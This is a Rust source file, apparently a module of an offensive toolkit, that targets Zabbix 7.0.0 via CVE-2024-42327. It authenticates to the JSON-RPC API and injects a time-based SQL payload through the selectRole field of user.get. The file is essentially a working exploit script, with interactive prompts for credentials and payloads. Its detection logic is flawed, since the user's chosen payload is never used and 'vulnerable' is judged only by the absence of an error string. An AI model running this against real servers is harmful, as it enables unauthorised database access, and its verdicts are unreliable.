use anyhow::{anyhow, Result};
use reqwest::Client;
use serde_json::json;
use std::fs;
use std::io::{self, Write};

const HEADERS: &str = "application/json";

// Internal function renamed to `exploit_zabbix` to avoid conflicts
async fn exploit_zabbix(api_url: &str, username: &str, password: &str, _payload: &str) -> Result<()> {
    let client = Client::new();
    let url = format!("{}/api_jsonrpc.php", api_url.trim_end_matches('/'));

    // // Login to get the token
    let login_data = json!({
        "jsonrpc": "2.0",
        "method": "user.login",
        "params": {
            "username": username,
            "password": password
        },
        "id": 1,
        "auth": null
    });

    let login_response = client
        .post(&url)
        .header("Content-Type", HEADERS)
        .json(&login_data)
        .send()
        .await
        .map_err(|e| anyhow!("Login request error: {}", e))?;

    let login_response_json: serde_json::Value = login_response
        .json()
        .await
        .map_err(|e| anyhow!("Failed to parse login response: {}", e))?;

    let auth_token = login_response_json
        .get("result")
        .ok_or_else(|| anyhow!("Failed to retrieve auth token"))?
        .as_str()
        .ok_or_else(|| anyhow!("Auth token not a string"))?
        .to_string();

    // // SQLi test using the provided payload
    let sqli_data = json!({
        "jsonrpc": "2.0",
        "method": "user.get",
        "params": {
            "selectRole": ["roleid", "name", "type", "readonly AND (SELECT(SLEEP(5)))"],
            "userids": ["1", "2"]
        },
        "id": 1,
        "auth": auth_token
    });

    let test_response = client
        .post(&url)
        .header("Content-Type", HEADERS)
        .json(&sqli_data)
        .send()
        .await
        .map_err(|e| anyhow!("Test request error: {}", e))?;

    let test_response_text = test_response
        .text()
        .await
        .map_err(|e| anyhow!("Failed to read test response: {}", e))?;

    if test_response_text.contains("\"error\"") {
        println!("[-] NOT VULNERABLE.");
    } else {
        println!("[!] VULNERABLE.");
    }

    Ok(())
}

// Prompt user to choose a payload option
async fn get_payload_choice() -> Result<String> {
    println!("Choose SQL payload option:");
    println!("1: Load SQL payloads from file");
    println!("2: Enter custom SQL payload");
    println!("3: Use default SQL payload");

    let mut choice = String::new();
    print!("Enter your choice (1/2/3): ");
    io::stdout().flush().unwrap();
    io::stdin()
        .read_line(&mut choice)
        .map_err(|e| anyhow!("Failed to read choice: {}", e))?;

    let choice = choice.trim();

    match choice {
        "1" => {
            // Load from a file (e.g., sql_payloads.txt)
            println!("Loading SQL payloads from file...");
            let payloads = fs::read_to_string("sql_payloads.txt")
                .map_err(|e| anyhow!("Error reading payload file: {}", e))?;
            Ok(payloads.trim().to_string())
        }
        "2" => {
            // Allow user to input a custom payload
            println!("Enter your custom SQL payload (do not include the SELECT statement, only the payload part): ");
            let mut custom_payload = String::new();
            io::stdout().flush().unwrap();
            io::stdin()
                .read_line(&mut custom_payload)
                .map_err(|e| anyhow!("Failed to read custom payload: {}", e))?;

            let custom_payload = custom_payload.trim();

            // Ensure the custom payload isn't empty
            if custom_payload.is_empty() {
                return Err(anyhow!("Custom payload cannot be empty. Please enter a valid payload."));
            }

            Ok(custom_payload.to_string())
        }
        "3" => {
            // Use a default payload
            println!("Using default SQL payload...");
            Ok("readonly AND (SELECT(SLEEP(5)))".to_string())
        }
        _ => Err(anyhow!("Invalid choice, please select 1, 2, or 3.")),
    }
}

// Public dispatch entry point
pub async fn run(target: &str) -> Result<()> {
    println!("[*] Zabbix 7.0.0 SQL Injection Checker (CVE-2024-42327)");
    println!("[*] Target API URL: {}", target);

    let mut username = String::new();
    let mut password = String::new();

    print!("Username: ");
    io::stdout().flush().unwrap();
    io::stdin()
        .read_line(&mut username)
        .map_err(|e| anyhow!("Failed to read username: {}", e))?;

    print!("Password: ");
    io::stdout().flush().unwrap();
    io::stdin()
        .read_line(&mut password)
        .map_err(|e| anyhow!("Failed to read password: {}", e))?;

    let username = username.trim();
    let password = password.trim();

    // Get the payload choice from the user
    let payload = get_payload_choice().await?;

    // Run the exploit with the selected payload
    exploit_zabbix(target, username, password, &payload).await
}
